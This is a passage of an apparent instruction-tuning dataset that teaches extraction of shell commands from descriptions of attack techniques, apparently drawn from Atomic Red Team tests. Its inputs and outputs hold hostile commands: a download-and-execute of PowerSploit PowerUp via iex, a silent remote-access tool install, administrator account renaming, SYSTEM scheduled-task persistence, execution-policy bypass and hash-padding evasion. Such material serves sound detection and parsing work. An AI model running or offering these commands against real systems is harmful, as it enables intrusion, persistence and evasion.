    "output": "{\"command_list\": [\"Start-Process #{MSP360_Connect_Path}\\n\", \"$file = Join-Path $env:USERPROFILE \\\"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\\\"\\nInvoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\\nStart-Process -FilePath $file \\\"/S\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For staging a zipped file in the Windows temp directory using native tools, execute this command: Compress-Archive -Path \"#{input_file}\" -DestinationPath #{output_file} -Force. You should then confirm the presence of Folder_to_zip.zip in the temporary folder.; This script manipulates the administrator account name by executing the following command: $x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n    if($member -like \"*Administrator*\") {\n        $account = $member.Name.Split(\"\\\\\")[-1] # strip computername\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\n        Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n        Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n        Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n        }\n    }",
    "output": "{\"command_list\": [\"Compress-Archive -Path \\\"#{input_file}\\\" -DestinationPath #{output_file} -Force\\n\", \"$x = Get-Random -Minimum 2 -Maximum 9999\\n$y = Get-Random -Minimum 2 -Maximum 9999\\n$z = Get-Random -Minimum 2 -Maximum 9999\\n$w = Get-Random -Minimum 2 -Maximum 9999\\nWrite-Host HaHa_$x$y$z\\n\\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \\\"User\\\" -and $_.PrincipalSource -match \\\"Local\\\"} | Select Name\\n\\nforeach($member in $fmm) {\\n    if($member -like \\\"*Administrator*\\\") {\\n        $account = $member.Name.Split(\\\"\\\\\\\")[-1] # strip computername\\\\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\\n        Set-LocalUser -Name $account -Description \\\"atr:$account;$originalDescription\\\".Substring(0,48) # Keep original name in description\\n        Rename-LocalUser -Name $account -NewName \\\"HaHa_$x$y$z\\\" # Required due to length limitation\\n        Write-Host \\\"Successfully Renamed $account Account on \\\" $Env:COMPUTERNAME\\n        }\\n    }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This setup creates scheduled tasks to run an application during logon and system startup, with the following commands that produce success notifications. Check the Active Tasks pane in Task Scheduler to see the results: schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"; To schedule cmd.exe to spawn at 20:10, execute this command: SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}",
    "output": "{\"command_list\": [\"schtasks /create /tn \\\"T1053_005_OnLogon\\\" /sc onlogon /tr \\\"cmd.exe /c calc.exe\\\"\\nschtasks /create /tn \\\"T1053_005_OnStartup\\\" /sc onstart /ru system /tr \\\"cmd.exe /c calc.exe\\\"\\n\", \"SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Program Compatibility Assistant (pcalua.exe) can be used to execute programs and commands via the Command-Line Interface, as demonstrated with the following commands: pcalua.exe -a #{process}\npcalua.exe -a #{payload_path}\n. Upon execution, calc.exe should open.; The forfiles utility can be employed to run processes conditionally, such as opening calc.exe for each notepad.exe instance via the command: forfiles /p c:\\windows\\system32 /m notepad.exe /c #{process}",
    "output": "{\"command_list\": [\"pcalua.exe -a #{process}\\npcalua.exe -a #{payload_path}\\n\", \"forfiles /p c:\\\\windows\\\\system32 /m notepad.exe /c #{process}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can verify whether virtualization is active by executing the following command, which checks for a Model Identifier without 'Mac': if [ \"$(system_profiler SPHardwareDataType | grep \"Model Identifier\" | grep -v 'Mac')\" != \"\" ]; then echo 'Virtualization Environment detected'; fi;; The binary's hash can be modified by appending zero bytes and random data with this command:\ndd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes\ndd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data\ndd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data\n",
    "output": "{\"command_list\": [\"if [ \\\"$(system_profiler SPHardwareDataType | grep \\\"Model Identifier\\\" | grep -v 'Mac')\\\" != \\\"\\\" ]; then echo 'Virtualization Environment detected'; fi;\\n\", \"dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes\\ndd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data\\ndd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence, a JavaScript block will be added to the registry, which you can verify by executing the following command: New-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name T1112 -Value \"<script>\"\n; To run malicious PowerShell scripts, attackers must modify the execution policy, which can be done by executing the following command: Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" -Name T1112 -Value \\\"<script>\\\"\\n\", \"Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For file encryption with 7z, use this command: $which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}\n; To simulate an interruption authentication, the system will attempt to encrypt data as root, falling back to the user's home directory if root permissions are unavailable, using the following command:\nwhich_ccencrypt=`which ccencrypt`\ncp #{root_input_file_path} #{cped_file_path};\n$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}\n",
    "output": "{\"command_list\": [\"$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}\\n\", \"which_ccencrypt=`which ccencrypt`\\ncp #{root_input_file_path} #{cped_file_path};\\n$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 